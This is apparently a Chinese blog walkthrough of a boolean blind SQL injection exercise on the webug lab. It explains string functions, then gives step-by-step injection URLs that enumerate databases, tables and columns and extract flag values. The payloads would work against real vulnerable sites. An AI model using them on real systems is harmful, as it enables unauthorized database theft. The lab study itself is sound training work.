布尔注入是盲注之一，进行sql语句注入后，选择的数据并不能返回到前端。只能利用其他方法来判断，还是简单介绍下学到的知识点。
- left(database(),n) database() 数据库名称 left()函数表示截取数据库左侧n个字符
- substr(a,b,c) 从字符串a的b位置开始截取c个字符,当b为负数时截取位置是从字符串a右端向左数b个字符
- mid(a,b,c) 从字符串a的b位置开始截取c个字符，c为非必需若省略返回剩余文本
- ord()与ascii() 这两个函数都是将字符转化成ascii值
- limit i,n第一个参数：从i开始查 ； 第二个参数：查n条
- 有时不报错可能是因为前面语句没错误，使得union后面语句没执行
- IFNULL(exp1,exp2) 如果exp1不为null，返回exp1否则返回exp2
- cast（exp as data_type）as之前是待处理数据，后面是要转换的类型。有时还有要求eg：CAST(‘12.5’ AS decimal(10,2)) 10代表所有数字位数限制为10 ，2表示小数点后两位 故结果为12.50 如果前面type换成int 则运行错误 。另精度和小数位数的默认值分别是18与0，decimal下 浮点数不说明的情况下会出来整数。
直接单引号测试，页面发生变化
http://localhost/control/sqlinject/bool_injection.php?id=1’ or 1=1%23
页面恢复正常，此处存在注入点
利用order by判断字段
http://localhost/control/sqlinject/bool_injection.php?id=1’ order by 3%23
字段数为2时页面正常
利用left（）函数判断数据库名，先判断数据库名长度
http://localhost/control/sqlinject/bool_injection.php?id=1’ and length(database())>4%23
判断出数据库名长度为5
http://localhost/control/sqlinject/bool_injection.php?id=1’ and left(database(),1)>‘a’ %23
开始猜数据库名，一步步猜出数据库名为webug，替换数字时需要加一个测试字符
查看当前数据库表
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1,1))>98%23
爆出webug下的表：data_crud,env_list,env_path,flag,sqlinjection,user,user_test
爆出所有数据库名
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97%23
表名下面有flag，直接查询列
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘flag’ limit 0,1),1,1))>100%23
判断出字段有id，flag
查询flag字段的值
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select flag from flag where id=1 limit 0,1),1,1))>99%23
爆出的flag字段为dfafdasfafdsadfa，提交失败，尝试爆第二张表
http://192.168.199.143/control/sqlinject/bool_injection.php?id=1’and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 0,1),1,1))>97%23
env_list表里有：id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
猜测所有flag都在这里面
http://localhost/control/sqlinject/bool_injection.php?id=1’ and substr((select envFlag from env_list where id=1 limit 0,1),1,16)=‘dfafdasfafdsadfa’%23
测试了第一关flag
在第一关直接爆第二关的flag，flag正确
正常猜测第二关flag
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1,1))>98%23
最后得出flag：fdsafsdfa
来源：51CTO
作者：安全我只会360
链接：https://blog.csdn.net/qq_25725865/article/details/100928807